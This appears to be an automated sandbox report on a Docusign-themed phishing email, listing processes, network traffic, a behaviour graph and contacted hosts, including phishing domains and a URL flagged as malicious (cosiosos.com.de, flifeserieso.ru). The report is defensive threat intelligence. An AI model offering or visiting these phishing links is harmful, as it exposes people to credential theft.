Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49826 version: TLS 1.2
Source: classification engine Classification label: mal60.phis.winEML@20/228@50/13
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241029T1344530496-6316.etl Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\FW Complete with Docusign Remittance Advice .pdf.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "28C84706-2309-4AB0-A66E-7AC5589B0CDB" "08CC6BE9-FD18-463A-AD81-0A07368353E9" "6316" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://eu.docusign.net/Signing/EmailStart.aspx?a=9eb1232d-b669-47cc-b565-df3c91f4d5f7&etti=24&acct=abba683f-186c-4f9e-8ab2-ac0f68fbe569&er=ad16d7d0-2faa-44b9-8c84-a75ce167beb2
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1976,i,9062327613063570313,3700824019867659727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "28C84706-2309-4AB0-A66E-7AC5589B0CDB" "08CC6BE9-FD18-463A-AD81-0A07368353E9" "6316" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://eu.docusign.net/Signing/EmailStart.aspx?a=9eb1232d-b669-47cc-b565-df3c91f4d5f7&etti=24&acct=abba683f-186c-4f9e-8ab2-ac0f68fbe569&er=ad16d7d0-2faa-44b9-8c84-a75ce167beb2 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1976,i,9062327613063570313,3700824019867659727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: c2r64.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32 Jump to behavior
Source: Google Drive.lnk.10.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.10.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.10.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.10.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.10.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.10.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Window found: window name: SysTabControl32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common Jump to behavior

Persistence and Installation Behavior
barindex
AI detected potential phishing Email
Source: Email LLM: Detected potential phishing email: The sender domain 'eumail.docusign.net' is suspicious as legitimate DocuSign typically uses docusign.com or docusign.net
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk Jump to behavior
Stores large binary data to the registry
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1 Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File Volume queried: C:\Windows\SysWOW64 FullSizeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information queried: ProcessInformation Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1544787 Sample: FW Complete with Docusign R... Startdate: 29/10/2024 Architecture: WINDOWS Score: 60 31 flifeserieso.ru 2->31 33 cdn.jsdelivr.net 2->33 39 Yara detected HtmlPhish70 2->39 41 Suspicious MSG / EML detected (based on various text indicators) 2->41 43 Phishing site detected (based on shot match) 2->43 45 AI detected potential phishing Email 2->45 8 OUTLOOK.EXE 101 129 2->8         started        signatures3 process4 file5 19 C:\...\~Outlook Data File - NoEmail.pst.tmp, data 8->19 dropped 21 C:\Users\...\Outlook Data File - NoEmail.pst, Microsoft 8->21 dropped 23 C:\Users\user\AppData\Roaming\...23oEmail.srs, Composite 8->23 dropped 11 chrome.exe 9 8->11         started        14 ai.exe 8->14         started        process6 dnsIp7 35 192.168.2.16, 138, 443, 49265 unknown unknown 11->35 37 239.255.255.250 unknown Reserved 11->37 16 chrome.exe 11->16         started        process8 dnsIp9 25 api.mixpanel.com 130.211.34.183, 443, 49741, 49742 GOOGLEUS United States 16->25 27 www.google.com 142.250.186.100, 443, 49728, 49861 GOOGLEUS United States 16->27 29 12 other IPs or domains 16->29
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.28.165
 cosiosos.com.de United States
13335 CLOUDFLARENETUS false
130.211.34.183
 api.mixpanel.com United States
15169 GOOGLEUS false
104.18.94.41
 unknown United States
13335 CLOUDFLARENETUS false
35.190.80.1
 a.nel.cloudflare.com United States
15169 GOOGLEUS false
104.17.24.14
 cdnjs.cloudflare.com United States
13335 CLOUDFLARENETUS false
34.223.160.188
 arya-1323461286.us-west-2.elb.amazonaws.com United States
16509 AMAZON-02US false
104.18.65.57
 cdn.optimizely.com United States
13335 CLOUDFLARENETUS false
52.42.45.237
 unknown United States
16509 AMAZON-02US false
104.18.95.41
 challenges.cloudflare.com United States
13335 CLOUDFLARENETUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.186.100
 www.google.com United States
15169 GOOGLEUS false
104.21.17.93
 flifeserieso.ru United States
13335 CLOUDFLARENETUS false

Private

IP
192.168.2.16

Contacted Domains

Name IP Active
cdn.optimizely.com 104.18.65.57 true
a.nel.cloudflare.com 35.190.80.1 true
cosiosos.com.de 104.21.28.165 true
cdnjs.cloudflare.com 104.17.24.14 true
challenges.cloudflare.com 104.18.95.41 true
www.google.com 142.250.186.100 true
api.mixpanel.com 130.211.34.183 true
flifeserieso.ru 104.21.17.93 true
arya-1323461286.us-west-2.elb.amazonaws.com 34.223.160.188 true
eu.docusign.net unknown unknown
cdn.jsdelivr.net unknown unknown
a.docusign.com unknown unknown
docucdn-a.akamaihd.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8da4fc5b09f32845&lang=auto false
    		unknown
    https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1791242059:1730220306:hIeyHqvqAccxbbm_d8DrvjbO0QBodfJlv7y3N_edJQw/8da4fc5b09f32845/lvhtOsKNcCfcfrt0ku2v17ixFLNSgZzFX4Vo47Kh81E-1730223994-1.1.1.1-M_x_gxlO74O9ZlqtQnFTaE.kRURIq0V2sN_HzuC_s_HLi.8Bl2E57.DtlSzwL1gQ false
      		unknown
      https://cosiosos.com.de/favicon.ico false
        		unknown
        https://challenges.cloudflare.com/turnstile/v0/api.js false
          		unknown
          https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8da4fc5b09f32845/1730223996758/1e184772ca6413f778890ebf4ae4a78ff3b0fbad3e6bc6e49bef09eb3011d191/B-gsnUcxkDLo1qD false
            		unknown
            https://a.nel.cloudflare.com/report/v4?s=78PcKPPc%2BblG5PoT1jZcMGvy0TBphHg6dRAaBqMRmtpWSoW8b8ghN%2FZXDLM9HZRqdHN2eldibX4W6tTXEPjuHGieGOcBTyAtlal30hZjAgvDhV%2BQtpv8anVv0yCaeZ5ED1Y%3D false
              		unknown
              https://flifeserieso.ru// false
                		unknown
                https://cosiosos.com.de/7i2ko/ true
                  		unknown
                  https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8da4fc5b09f32845/1730223996761/-6kEvfHpi1C4zu8 false
                    		unknown
                    https://eu.docusign.net/Signing/?ti=5b53a0b084d642eca99669daad04dad2 false
                      		unknown
                      https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/ false
                        		unknown
                        https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1 false
                          		unknown
                          https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css false
                          • URL Reputation: safe
                          		 unknown
                          https://cdn.optimizely.com/datafiles/MUGKFLCdCtxUSgrSTyhbw.json false
                            		unknown
                            https://challenges.cloudflare.com/turnstile/v0/g/f2bbd6738e15/api.js false
                              		unknown
